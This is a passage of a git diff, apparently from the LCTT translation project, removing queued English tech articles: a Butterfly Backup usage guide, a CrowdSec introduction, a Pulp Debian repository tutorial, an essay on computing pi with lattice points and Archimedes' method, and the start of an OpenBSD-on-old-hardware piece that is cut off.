bb backup --list /home/arthur/pclist.txt --destination /mnt/backup --data User Config --type Unix -ERROR: The port 22 on host2 is closed! -ERROR: The port 22 on host3 is closed! -Start backup on host1 -SUCCESS: Command rsync -ahu --no-links --link-dest=/mnt/backup/host1/2020_09_19__10_28 arthur@host1:/home :/etc /mnt/backup/host1/2020_09_19__10_50 -``` - -There are four backup modes, which you specify with the _–mode_ flag: **Full** (backup all files) , **Mirror** (backup all files in mirror mode), **Differential** (is based on the latest _Full_ backup) and **Incremental** (is based on the latest backup). -The default mode is _Incremental_; _Full_ mode is set by default when the flag is not specified. - -#### Listing catalog - -The first time you run backup commands, the catalog is created. The catalog is used for future backups and all the restores that are made through Butterfly Backup. To query this catalog use the list command. -First, let’s query the catalog in our example: - -``` -$ bb list --catalog /mnt/backup - -BUTTERFLY BACKUP CATALOG - -Backup id: aba860b0-9944-11e8-a93f-005056a664e0 -Hostname or ip: host1 -Timestamp: 2020-09-19 10:28:12 - -Backup id: dd6de2f2-9a1e-11e8-82b0-005056a664e0 -Hostname or ip: host1 -Timestamp: 2020-09-19 10:50:59 -``` - -Press _q_ for exit and select a backup-id: - -``` -$ bb list --catalog /mnt/backup --backup-id dd6de2f2-9a1e-11e8-82b0-005056a664e0 -Backup id: dd6de2f2-9a1e-11e8-82b0-005056a664e0 -Hostname or ip: host1 -Type: Incremental -Timestamp: 2020-09-19 10:50:59 -Start: 2020-09-19 10:50:59 -Finish: 2020-09-19 11:43:51 -OS: Unix -ExitCode: 0 -Path: /mnt/backup/host1/2020_09_19__10_50 -List: backup.log -etc -home -``` - -To export the catalog list use it with an external tool like _cat_, include the _–_–_log_ flag: - -``` -$ bb list --catalog /mnt/backup --log -$ cat /mnt/backup/backup.list -``` - -#### Restore - -The restore process is the exact opposite of the backup process. It takes the files from a specific backup and push it to the destination computer. -This command perform a restore on the same machine of the backup, for instance: - -``` -$ bb restore --catalog /mnt/backup --backup-id dd6de2f2-9a1e-11e8-82b0-005056a664e0 --computer host1 --log -Want to do restore path /mnt/backup/host1/2020_09_19__10_50/etc? To continue [Y/N]? y -Want to do restore path /mnt/backup/host1/2020_09_19__10_50/home? To continue [Y/N]? y -SUCCESS: Command rsync -ahu -vP --log-file=/mnt/backup/host1/2020_09_19__10_50/restore.log /mnt/backup/host1/2020_09_19__10_50/etc arthur@host1:/restore_2020_09_19__10_50 -SUCCESS: Command rsync -ahu -vP --log-file=/mnt/backup/host1/2020_09_19__10_50/restore.log /mnt/backup/host1/2020_09_19__10_50/home/* arthur@host1:/home -``` - -> Without specifying the “_type_” flag that indicates the operating system on which the data are being retrieved, Butterfly Backup will select it directly from the catalog via the backup-id. - -#### Archive old backup - -Archive operations are used to store backups by saving disk space. - -``` -$ bb archive --catalog /mnt/backup/ --days 1 --destination /mnt/archive/ --verbose --log -INFO: Check archive this backup f65e5afe-9734-11e8-b0bb-005056a664e0. Folder /mnt/backup/host1/2020_09_18__17_50 -INFO: Check archive this backup 4f2b5f6e-9939-11e8-9ab6-005056a664e0. Folder /mnt/backup/host1/2020_09_15__07_26 -SUCCESS: Delete /mnt/backup/host1/2020_09_15__07_26 successfully. -SUCCESS: Archive /mnt/backup/host1/2020_09_15__07_26 successfully. -$ ls /mnt/archive -host1 -$ ls /mnt/archive/host1 -2020_09_15__07_26.zip -``` - -After that, look in the catalog and see that the backup was actually archived: - -``` -$ bb list --catalog /mnt/backup/ -i 4f2b5f6e-9939-11e8-9ab6-005056a664e0 -Backup id: 4f2b5f6e-9939-11e8-9ab6-005056a664e0 -Hostname or ip: host1 -Type: Incremental -Timestamp: 2020-09-15 07:26:46 -Start: 2020-09-15 07:26:46 -Finish: 2020-09-15 08:43:45 -OS: Unix -ExitCode: 0 -Path: /mnt/backup/host1/2020_09_15__07_26 -Archived: True -``` - -### Conclusion - -Butterfly Backup was born from a very complex need; this tool provides superpowers to rsync, automates the backup and restore process. In addition, the catalog allows you to have a system similar to a “time machine”. - -In conclusion, Butterfly Backup is a lightweight, versatile, simple and scriptable backup tool. - -One more thing; Easter egg: _**bb** -Vv_ - -Thank you for reading my post. - -Full documentation: [https://butterfly-backup.readthedocs.io/][7] -Github: - -* * * - -_Photo by [Manu M][8] on [Unsplash][9]_. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/butterfly-backup/ - -作者:[Matteo Guadrini][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/matteoguadrini/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/09/butterfly-backup-816x345.jpg -[2]: https://matteoguadrini.github.io/Butterfly-Backup/ -[3]: https://fedoramagazine.org/help-port-python-packages-python-3/ -[4]: https://cryptography.io/en/latest/ -[5]: https://fedoramagazine.org/open-source-ssh-clients/ -[6]: https://fedoramagazine.org/scp-users-migration-guide-to-rsync/ -[7]: https://butterfly-backup.readthedocs.io/en/latest/ -[8]: https://unsplash.com/@leocub?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[9]: https://unsplash.com/s/photos/butterfly?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/sources/tech/20201023 New open source project crowdsources internet security.md b/sources/tech/20201023 New open source project crowdsources internet security.md deleted file mode 100644 index ae1fad82ff..0000000000 --- a/sources/tech/20201023 New open source project crowdsources internet security.md +++ /dev/null @@ -1,89 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (New open source project crowdsources internet security) -[#]: via: (https://opensource.com/article/20/10/crowdsec) -[#]: author: (Philippe Humeau https://opensource.com/users/philippe-humeau) - -New open source project crowdsources internet security -====== -CrowdSec aims to leverage the power of the crowd to create a very -accurate IP reputation database -![Lots of people in a crowd.][1] - -[CrowdSec][2] is a new security project designed to protect servers, services, containers, or virtual machines exposed on the internet with a server-side agent. It was inspired by [Fail2Ban][3] and aims to be a modernized, collaborative version of that intrusion-prevention framework. - -CrowdSec is free and open source (under an MIT License), with the source code available on [GitHub][4]. It is currently is available for Linux, with ports to macOS and Windows on the roadmap. - -### How CrowdSec works - -CrowdSec is written in Golang and was designed to run on modern, complex architectures such as clouds, lambdas, and containers. To achieve this, it's "decoupled," meaning you can "detect here" (e.g., in your database logs) and "remedy there" (e.g., in your firewall or rproxy). - -The tool uses [leaky buckets][5] internally to allow for tight event control. Scenarios are written in YAML to make them as simple and readable as possible without sacrificing granularity. The inference engine lets you get insights from chain buckets or meta-buckets, meaning if several buckets (e.g., web scan, port scan, and login attempt failed) overflow into a "meta-bucket," you can trigger a "targeted attack" remediation. - -Aggressive Internet Protocols (IPs) are dealt with using bouncers. The [CrowdSec Hub][6] offers ready-to-use data connectors, bouncers (e.g., Nginx, PHP, Cloudflare, Netfilter), and scenarios to deter various attack classes. Bouncers can remedy threats in various ways. - -It works on bouncers such as Captcha, limiting applicative rights, multi-factor authentication, throttling queries, or activating Cloudflare attack mode just when needed. You can get a sense of what's happening locally (and where it's occurring) with a lightweight visualization interface and strong [Prometheus][7] observability. - -![CrowdSec's operation][8] - -(CrowdSec, [CC BY-SA 4.0][9]) - -### Crowdsourcing security - -While the software currently looks like a spruced up Fail2Ban, the goal is to leverage the power of the crowd to create a very accurate IP reputation database. When CrowdSec bounces a specific IP, the triggered scenario and the timestamp are sent to our API to be checked and integrated into the global consensus of bad IPs. - -While we are already redistributing a blocklist to our community (you can see it by entering `cscli ban list --api` on the command line), we plan to really improve this part as soon as we have dealt with other prerequisite code lines. The network already has sightings of 100,000+ IPs (refreshed daily) and is able to redistribute ~10% (10,000) of those to our community members. The project has also been designed to be [GDPR][10] compliant and privacy respectful, both in technical and legal terms. - -Our vision is that once the CrowdSec community is large enough, we will all generate, in real time, the most accurate IP reputation database available. This global reputation engine, coupled with local behavior assessment and remediation, should allow many businesses to achieve tighter security at a very low cost. - -### Case studies - -Here are two examples of what CrowdSec does. - -> A company protecting its customers from DDoS attacks set up a DDoS mitigation strategy relying on Fail2Ban. When one of its customers was attacked by a 7,000-machine botnet, CrowdSec was able to ingest all the logs and successfully banned more than 95% of the botnet, efficiently mitigating the attack, in less than five minutes. For the sake of comparison, Fail2Ban would have needed to process several thousand logs per minute, which is quite challenging and would have taken nearly 50 minutes to deal with this attack. - -> An e-commerce business was going through a massive credit card stuffing attack. The attacker was spamming the payment gateway, testing thousands of different credit card details using a sole IP address. Instead of having to amend all of its apps to try to detect the attack, by installing CrowdSec, the company could scan all the logs and block the intrusion within minutes. - -### Business model - -A common stress in open source projects is setting up a viable monetization model. So, in full transparency, we'll offer premium subscriptions to businesses that want to leverage the IP reputation database without contributing to it or sharing their banned IP data. This will allow anyone to query the IP reputation database upon receiving the first packet from an unknown IP before accepting it. - -### Getting started and getting involved - -CrowdSec's setup is quick and easy (taking just five minutes, tops). It's heavily assisted by a wizard to allow as many people and organizations as possible to use it. The project is production-grade and already runs in many places, including hosting companies, although it's still in beta. - -Currently, our community members come from 28 countries across five different continents. We are looking for more users, contributors, and ambassadors to take the project to the next level. - -![User map][11] - -We would love to hear your feedback and engage in further discussions, so please don't hesitate to comment, reach out through our [website][2], [GitHub][4], or [Discourse][12], or give us a shout on [Gitter][13]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/crowdsec - -作者:[Philippe Humeau][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/philippe-humeau -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_community_1.png?itok=rT7EdN2m (Lots of people in a crowd.) -[2]: https://crowdsec.net/ -[3]: https://www.fail2ban.org/ -[4]: https://github.com/CrowdSecurity/crowdsec -[5]: https://en.wikipedia.org/wiki/Leaky_bucket -[6]: https://hub.crowdsec.net/ -[7]: https://opensource.com/article/19/11/introduction-monitoring-prometheus -[8]: https://opensource.com/sites/default/files/uploads/crowdsec_operation.jpg (CrowdSec's operation) -[9]: https://creativecommons.org/licenses/by-sa/4.0/ -[10]: https://en.wikipedia.org/wiki/General_Data_Protection_Regulation -[11]: https://opensource.com/sites/default/files/cs_user_map.png (User map) -[12]: https://discourse.crowdsec.net/ -[13]: https://gitter.im/crowdsec-project/community diff --git a/sources/tech/20201026 Manage content using Pulp Debian.md b/sources/tech/20201026 Manage content using Pulp Debian.md deleted file mode 100644 index 3000b0f2f8..0000000000 --- a/sources/tech/20201026 Manage content using Pulp Debian.md +++ /dev/null @@ -1,173 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage content using Pulp Debian) -[#]: via: (https://opensource.com/article/20/10/pulp-debian) -[#]: author: (Maximilian Kolb https://opensource.com/users/kolb) - -Manage content using Pulp Debian -====== -Mirror, sync, upload, and publish Debian software packages with the -pulp_deb plugin. -![Gift box opens with colors coming out][1] - -Pulp is an open source repository management tool that helps you fetch, mirror, upload, and publish content within your organization. It can be used to [manage various types of content][2] such as software packages (from RPM packages to Ruby gems), as well as Ansible collections, container images, and even arbitrary files. - -A typical workflow starts with fetching software packages from an existing repository (for example, ) or adding packages manually (for private packages built within your organization). Then Pulp helps you make arbitrary collections of software packages that are consumable by clients. With it, you: - - * Gain control over what content is available for consumers - * Can use version control - * Reduce bandwidth and storage needs by providing a local, deduplicated source - - - -If you're new to Pulp, read Melanie Corr's introductory article on [how to manage your software repositories with Pulp][3]. - -### Manage Debian packages with Pulp - -Pulp relies on plugins to adequately handle different types of content. For example, the [Pulp RPM][4] plugin enables you to manage .rpm packages. With the [Pulp Debian][5] plugin, you can mirror, sync, upload, and publish .deb packages within APT repositories. The pulp_deb plugin is essential if you want to manage and provide consumable software packages for Linux distributions such as Debian and Ubuntu, and it's free and open source software provided and maintained by the Pulp community. - -With the Pulp Debian plugin, you can manage Debian content by synchronizing remote repositories, providing an interface to upload your own content, and publishing content to repositories. - -Pulp supports several different [Debian content types][6], including packages, package indices, Release Files, and more. "Content type" refers to either a specific artifact or metadata. For example, a content unit of type `package` refers to a .deb package. - -Synchronizing a remote repository is one of Pulp Debian plugin's main features, and it's one of the ways to obtain content. The synchronization process uses a [remote][7] definition that contains a URL, [distribution][8], components, and architectures: - - * The **URL** is the path to the remote APT repository. - * The **distribution** is the path between the `dists/` directory of the APT repository and the relevant `Release` file. This is usually (but not always) the codename or suite of the Debian-based Linux distribution (`buster` for Debian 10, `stretch` for Debian 9, `focal` for Ubuntu 20.04, and so on). Running `lsb_release -cs` on any Debian or Ubuntu host shows the distribution's codename. - * **Components** describe arbitrary subsets of repositories (`main`, `contrib`, or `non-free` for Debian, or `main`, `restricted`, `universe`, and `multiverse` for Ubuntu). You can use this to filter and categorize packages within an APT repository. - * The **architecture** refers to the processor architecture a software package can run on, most commonly `i386`, `amd64`, or `arm64`. If a software package does not depend on a specific processor architecture, the architecture may be set to `all`. - - - -Specifying a distribution is mandatory, whereas defining components and architectures is optional. If undefined, Pulp automatically syncs all packages without filtering for components or architectures. Pulp automatically verifies the [GNU Privacy Guard][9] signature of the `Release` File, should the corresponding GPG public key be assigned to the remote. - -### An example workflow - -It's easy to go from a remote repository to a verbatim publication with Pulp's [REST API][10]. The following API calls assume you're using [HTTPie][11]. - -Imagine you want to provide .deb packages to hosts within your organization. The following basic workflow guides your first steps in using Pulp and the Pulp Debian plugin. - -![Pulp Debian workflow][12] - -Image by Maximilian Kolb - -#### 1\. Create a local repository - -Start by creating a local repository in Pulp with a single API call. You can do this with HTTPie or the [curl command][13]: - - -``` -`http post http://:24817/pulp/api/v3/repositories/deb/apt/ name=` -``` - -#### 2\. Create a remote - -Next, create a remote. This API call requires a URL and an arbitrary `name` value. Defining a distribution and architecture is optional: - - -``` -`http post http://:24817/pulp/api/v3/remotes/deb/apt/ name="nginx.org" url="http://nginx.org/packages/debian" distributions="buster"` -``` - -Whether you define only one or multiple distributions, Pulp will later sync packages for all architectures, as they are undefined for this remote. - -#### 3\. Synchronize - -The third and final step to fetch remote content to Pulp is to sync the remote to your local repository. You do this by making a call to the sync API endpoint of your repository: - - -``` -`http post http://:24817/pulp/api/v3/repositories/deb/apt//sync/ remote=http://:24817/pulp/api/v3/remotes/deb/apt//` -``` - -In this sample command, each of the UUIDs refers to Pulp's internal references, displayed as `pulp_href` by the API. This step may take some time, depending on your environment, the size of the repository, and the available bandwidth. - -### Make your Pulp content consumable - -After acquiring content for Pulp through synchronization, it becomes consumable by clients. - -#### 1\. Create a publication - -Publications are always based on a Pulp repository. They contain extra settings on how to publish content. You can use the `APT` publisher on any repository of the APT type containing .deb packages. - -The following API call creates a publication in verbatim mode. That is, it provides the exact same structure and content of the remote repository: - - -``` -`http post http://:24817/pulp/api/v3/publications/deb/verbatim/ repository=/pulp/api/v3/repositories/deb/apt//` -``` - -Replace the UUID with the repository you want to publish. This step may take some time, depending on the size of the repository. - -#### 2\. Create a distribution - -A distribution takes the finished publication and serves it through the Pulp content app, which makes it available (or "consumable") by your users. In the context of a Debian system, this means that the repository can be added to `/etc/apt/sources.list` and used as a way to install software. - -The following API call requires the UUID of the publication created in the first step: - - -``` -`http post http://:24817/pulp/api/v3/distributions/deb/apt/ name="name_of_the_distribution" base_path="base_path_of_the_distribution" publication=http://:24817/pulp/api/v3/publications/deb/verbatim//` -``` - -The `base_path` value is part of the URL used by clients when referring to the APT repository, and the name can be arbitrary. Calling the distribution's API endpoint on a specific published distribution returns the URL of the Pulp repository: - - -``` -`http get http://:24817/pulp/api/v3/distributions/deb/apt//` -``` - -This URL is directly consumable by APT clients. It can now be added to `/etc/apt/sources.list` as a valid repository. - -### Pulp API - -Using these API calls lets you sync an APT repository to your own Pulp instance and republish it verbatim, without touching the packages, any metadata, or signatures. Refer to the [API documentation][6] and [feature overview][14] for further information and other modes of publication. - -### Open source flexibility - -One important aspect of Pulp and its plugin structure is that it's extremely flexible, in no small part due to its open source nature. You can run Pulp as a standalone service, but you don't have to. It can be integrated into something bigger. - -I work at [ATIX][15], where we've started using Pulp and the Pulp Debian plugin in a project called [orcharhino][16]. It's based on [Foreman][17] and includes the powerful [Katello][18] plugin for additional content-management capabilities, which itself relies on Pulp for repository management. With this, we've been able to manage our data center with automated system deployment, configuration management, and patch management. - -In other words, ATIX develops the Pulp Debian plugin primarily with a Katello use case in mind. Whether you need Katello or Pulp or just a specific Pulp plugin, you can rest assured that this modularity is by design. - -Using Pulp, you can mirror remote software repositories, host private software packages, and manage different types of content on one platform. - -Try [Pulp][19] and the [Pulp Debian][5] plugin today, and don't be afraid to join and ask the [community][20] for help. We welcome any and all feedback. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/pulp-debian - -作者:[Maximilian Kolb][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kolb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_gift_giveaway_box_520x292.png?itok=w1YQhNH1 (Gift box opens with colors coming out) -[2]: https://pulpproject.org/content-plugins/#pulp-3-content-plugins-information -[3]: https://opensource.com/article/20/8/manage-repositories-pulp -[4]: https://github.com/pulp/pulp_rpm -[5]: https://github.com/pulp/pulp_deb -[6]: https://pulp-deb.readthedocs.io/en/latest/restapi.html -[7]: https://docs.pulpproject.org/pulpcore/glossary.html#term-Remote -[8]: https://docs.pulpproject.org/pulpcore/glossary.html#term-Distribution -[9]: https://gnupg.org/ -[10]: https://docs.pulpproject.org/pulpcore/restapi.html -[11]: https://httpie.org/ -[12]: https://opensource.com/sites/default/files/pulp-debian-workflow_0.jpg (Pulp Debian workflow) -[13]: https://www.redhat.com/sysadmin/use-curl-api -[14]: https://pulp-deb.readthedocs.io/en/latest/feature_overview.html -[15]: https://atix.de/en/ -[16]: https://orcharhino.com/ -[17]: https://theforeman.org/ -[18]: https://theforeman.org/plugins/katello -[19]: https://pulpproject.org/ -[20]: https://pulpproject.org/get_involved/ diff --git a/sources/tech/20201026 Pi from High School Maths.md b/sources/tech/20201026 Pi from High School Maths.md deleted file mode 100644 index 10e972ca01..0000000000 --- a/sources/tech/20201026 Pi from High School Maths.md +++ /dev/null @@ -1,155 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Pi from High School Maths) -[#]: via: (https://theartofmachinery.com/2020/10/26/pi_from_high_school_maths.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Pi from High School Maths -====== - -Warning: I don’t think the stuff in this post has any direct practical application by itself (unless you’re a nuclear war survivor and need to reconstruct maths from scratch or something). Sometimes I like to go back to basics, though. Here’s a look at (\pi) and areas of curved shapes without any calculus or transcendental functions. - -### A simple algorithm for calculating (\pi) - -This algorithm starts with simple number theoretic musing. Some whole numbers form neat Pythagorean triples ((x,y,z)) where (x^{2} + y^{2} = z^{2}). E.g., (3^{2} + 4^{2} = 5^{2}). It’s easy to find all the solutions to (x^{2} + y^{2} = 5^{2}) through brute-force search because we know that (x) and (y) can’t be bigger than (5). Here they are: - -[\begin{matrix} {0^{2} + 5^{2}} & {= 5^{2}} \ {3^{2} + 4^{2}} & {= 5^{2}} \ {4^{2} + 3^{2}} & {= 5^{2}} \ {5^{2} + 0^{2}} & {= 5^{2}} \ \end{matrix}] - -(Plus all the negative-number combinations, but let’s stick with non-negative integers and just count 4 solutions.) If we relax the equation, and count solutions to (x^{2} + y^{2} \leq 5^{2}), the answer turns out to be 26. Why care? Well, if (t) is the total number of solutions to (x^{2} + y^{2} \leq n^{2}), then - -[\lim\limits_{n\rightarrow\infty}\frac{4t}{(n + 1)^{2}} = \pi] - -Or, in code, here’s a simple program that estimates (\pi), getting more accurate for bigger values of the `n` variable: - -``` -import std; - -ulong sq(ulong x) pure -{ - return x * x; -} - -void main(string[] args) -{ - const n = args.length > 1 ? args[1].to!ulong : 20; - - ulong total; - foreach (x; 0..n+1) - { - foreach (y; 0..n+1) - { - if (sq(x) + sq(y) <= sq(n)) total++; - } - } - - /* - // Alternatively, for functional programming fans: - const total = - cartesianProduct(iota(n+1), iota(n+1)) - .filter!(p => sq(p[0]) + sq(p[1]) <= sq(n)) - .walkLength; - */ - - writef("%.12f\n", 4.0 * total / sq(n+1)); -} - -$ ./pi_calc -3.038548752834 -$ ./pi_calc 10000 -3.141362256135 -``` - -Okay, that’s a little bit more accurate than (\frac{22}{7}). Unlike most formulae for (\pi), though, there’s a simple diagram that shows how it works. Imagine we lay out the ((x,y)) integer pairs (where (x) and (y) range from (0) to (n)) on a 2D grid the obvious way. The figure below shows an example for (n = 10), with the arrow (r) pointing from the origin to ((6,8)). (r) and the (x) and (y) components make a right-angled triangle, so [Pythagoras’s theorem][1] says that (x^{2} + y^{2} = r^{2}). For ((6,8)), (r = 10 = n), so ((6,8)) is on the boundary as a solution to (x^{2} + y^{2} \leq 10^{2}). That boundary (the set of real-valued points a constant distance (n = 10) from the origin) makes a quarter circle. - -![][2] - -A circle is a simple, convex shape, and the grid points are evenly spaced, so the number of points inside the quarter circle will be roughly proportional to the area. More specifically, the fraction of all the grid points inside the quarter circle will be roughly the area of the quarter circle divided by the area of square around all points. The quarter circle area is (\pi r^{2} \div 4), inside the square of area (r^{2}) (remember, (n = r)), so (\frac{\pi}{4}) of all points represent solutions. The (x) and (y) values count from (0) to (n), so there are ((n + 1)^{2}) grid points. Rearrange the equations and you get a formula for estimating (\pi) from a solution count. The grid points keep drawing an arbitrarily more accurate circle as (n) gets bigger (just like a higher-resolution computer monitor does) so the estimate is exact in the limit. - -### A faster implementation - -The code above is simple but slow because it brute-force scans over all ((n + 1) \times (n + 1))possible (x) and (y) values. But we obviously don’t need to scan _all_ values. If we know that (x^{2} + y^{2} \leq n^{2}), then making (x) or (y) smaller will only give us another solution. We don’t need to keep testing smaller values after we find a solution. Ultimately, we only need to find the integral points around the boundary. Here’s a faster algorithm based on that idea. - -Imagine we scan along the integral (x) values and find the maximum integral (y) value that still gives us a solution. This gives us a border line marked in red in the figure below. If (y = 8) for a given (x) value, we instantly know there are (8 + 1 = 9) solutions with that given (x) value ((+ 1) to count the (y = 0) solution). - -![][3] - -Note that as (x) scans from (0) to (n), (y) starts at (n) and decreases to (0). Importantly, it _only_ decreases — it’s monotonic. So if we scan (x) from (0) to (n), we can find the next boundary (y) point by starting from the previous boundary point and searching downwards. Here’s some code: - -``` -ulong y = n, total; -foreach (x; 0..n+1) -{ - while (sq(x) + sq(y) > sq(n)) y--; - total += y + 1; -} -``` - -This version still has nested loops, so it might look like it’s still (O(n^{2})). However, the inner `while` loop executes a varying number of times for each (x) value. Often the `y--` doesn’t trigger at all. In fact, because `y` starts from `n` and monotonically decreases to 0, we know the `y--` will be executed exactly `n` times in total. There’s no instruction in that code that executes more than (O(n)) times, total, so the whole algorithm is (O(n)). - -With 64b `ulong` integers, the largest value of `n` that works before overflow is 4294967294: - -``` -$ ./pi_calc 4294967294 -3.141592653058 -``` - -There are ways to get faster convergence using numerical integration tricks, but I like the way this algorithm only uses integer arithmetic (up until the final division), and can be understood directly from simple diagrams. - -### Area of a circle without calculus - -Perhaps you feel a bit cheated because that algorithm assumes the (\pi r^{2}) formula for the area of a circle. Sure, that’s arguably included in “high school maths”, but it’s something students just get told to remember, unless they study integral calculus and derive it that way. But if we’re going to assume (\pi r^{2}), why not assume the theory of trigonometric functions as well, and just use (\pi = 4\operatorname{atan}(1))? - -The great ancient Greek mathematician Archimedes figured out the circle area over two thousand years ago without integral calculus (or trigonometric functions for that matter). He started with an elegant insight about regular (i.e., equal-sided) polygons. - -The famous [“half base times height” formula for the area of a triangle already had a well-known proof in the first book of Euclid’s Elements of Geometry][4] (easily derived from [a theorem about parallelograms][5]). Conveniently, any regular polygon can be split into equal triangles joined to the centre. For example, a regular hexagon splits into six triangles, as in the figure below. We can take any one of the triangles (they’re all the same) and call the “base” the side that’s also a side of the polygon. Then the “height” is the line from the centre of the base to the centre of the polygon. - -![][6] - -Now here’s Archimedes’s neat insight: The ratio of the triangle area to the base is (\frac{h}{2}). If you add up all the areas, you get the area of the polygon. Likewise, if you add up all the bases, you get the perimeter of the polygon. Because the triangle area/base ratio is a constant (\frac{h}{2}) for all triangles, the area/perimeter ratio for the whole polygon is the same (\frac{h}{2}). As a formula, the area of _any_ regular polygon is (P \times \frac{h}{2}) (where (P) is the perimeter). - -If you think of a circle as a regular polygon with infinitely many sides (so that (h) becomes the radius of the circle), and use the circle circumference ((2\pi r)) as your basic definition of (\pi), then that implies the area of a circle is (2\pi r \times \frac{r}{2} = \pi r^{2}). - -Of course, Archimedes was a respected mathematician who couldn’t get away with just assuming that anything true of a polygon is true of a circle (counterexample: all polygons have bumpy corners, but circles don’t). He used the kind of geometric proof by contradiction that was popular in his day. (He even took it further and analysed spheres, cylinders, parabolas and other curved objects, almost inventing something like modern real analysis a couple of millenia early.) Sadly, not all of his mathemetical work has survived, but [the key part of his Measurement of a Circle][7] has. - -Here’s the high-level version. Archimedes claimed that the area of a circle is (2\pi r \times \frac{r}{2}). Suppose you think his value is too small, and the circle is really bigger than (2\pi r \times \frac{r}{2}). That means there’s enough room inside the circle to fit a regular polygon that’s also bigger than (2\pi r \times \frac{r}{2}). But Archimedes said that’s contradictory because for any such polygon, (h < r), and (P < 2\pi r) (because each side of the polygon is a straight line that’s shorter than the circle arc that connects the same points), so the area (A = P \times \frac{h}{2} < 2\pi r \times \frac{r}{2}). The polygon’s area can’t be both bigger and smaller than (2\pi r \times \frac{r}{2}). - -![][8] - -Archimedes argued that there’s a similar contradiction if you think (2\pi r \times \frac{r}{2}) is too big, and the circle area is smaller than that. In that case he could make a polygon that’s also smaller than (2\pi r \times \frac{r}{2}), yet still wraps around the circle. For this polygon, (h = r), but he said the perimeter of the polygon must be greater than (2\pi r)[1][9], so that the polygon’s area must be bigger than (2\pi r \times \frac{r}{2}), even though it’s also meant to be smaller. - -![][10] - -If both of those cases lead to contradiction, we’re left with the only alternative that the circle area is (\pi r^{2}). - - 1. I don’t actually know how he argued this. [↩︎][11] - - - - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/10/26/pi_from_high_school_maths.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://www.cut-the-knot.org/pythagoras/ -[2]: https://theartofmachinery.com/images/pi_from_high_school_maths/pi_calc_grid.svg -[3]: https://theartofmachinery.com/images/pi_from_high_school_maths/pi_fast_calc_grid.svg -[4]: https://mathcs.clarku.edu/~djoyce/java/elements/bookI/propI37.html -[5]: https://mathcs.clarku.edu/~djoyce/java/elements/bookI/propI35.html -[6]: https://theartofmachinery.com/images/pi_from_high_school_maths/polygon.svg -[7]: https://flashman.neocities.org/ARCHCI1set.htm -[8]: https://theartofmachinery.com/images/pi_from_high_school_maths/polygon_inner.svg -[9]: tmp.gJlezpSbZb#fn:1 -[10]: https://theartofmachinery.com/images/pi_from_high_school_maths/polygon_outer.svg -[11]: tmp.gJlezpSbZb#fnref:1 diff --git a/sources/tech/20201027 Bring old hardware back to life with OpenBSD.md b/sources/tech/20201027 Bring old hardware back to life with OpenBSD.md deleted file mode 100644 index e2043c0f54..0000000000 --- a/sources/tech/20201027 Bring old hardware back to life with OpenBSD.md +++ /dev/null @@ -1,73 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Bring old hardware back to life with OpenBSD) -[#]: via: (https://opensource.com/article/20/10/old-hardware-openbsd) -[#]: author: (Jonathan Garrido https://opensource.com/users/jgarrido) - -Bring old hardware back to life with OpenBSD -====== -Install OpenBSD and the Xfce desktop to give a new spin to an old -machine—for free. -![Old UNIX computer][1] - -Almost everyone has (or knows someone who has) old hardware sitting around gathering dust because they believe that no modern operating system (OS) supports such a relic. I know this is wrong because I am one of those geeks who likes to use every piece of equipment as long as it is possibly functional. - -Although most modern OSes do run better on modern hardware, it is also true that there are alternatives for up-to-date 32-bit OSes to run all types of machines, including very old ones. Thanks to a bunch of people with enough determination and skills, there are different types of Linux and BSD distros that you can use, free of charge, to give a new spin to an old machine. - -## What can you do with a new OS on old hardware? - -Besides the obvious benefit of bringing back a piece of equipment that has been idle for a price that is equal to nothing, using an open source 32-bit distro to revive "antique" hardware has several benefits and purposes, including: - - * **Create single-purpose equipment:** Today's networks are complex, and there are a lot of services that interact with one another. After bringing an old machine back to life, you can set it up to fulfill one of those unique services within your infrastructure, such as DHCP, DNS, or SFTP. - * **Learn how the OS works:** I always want to know how things work under the hood. Tinkering with old hardware and tiny OSes gives you the chance to understand the interactions between hardware and software, learn how to tune the installation's default settings to make the most of a system, and much, much more. - * **Teach others about open source:** Finally, 32-bit OSes and old hardware can teach the next generation about OSes and the open source world. One of the main features of these types of OSes is their simplicity of use with fewer options to overwhelm the user. This makes them an 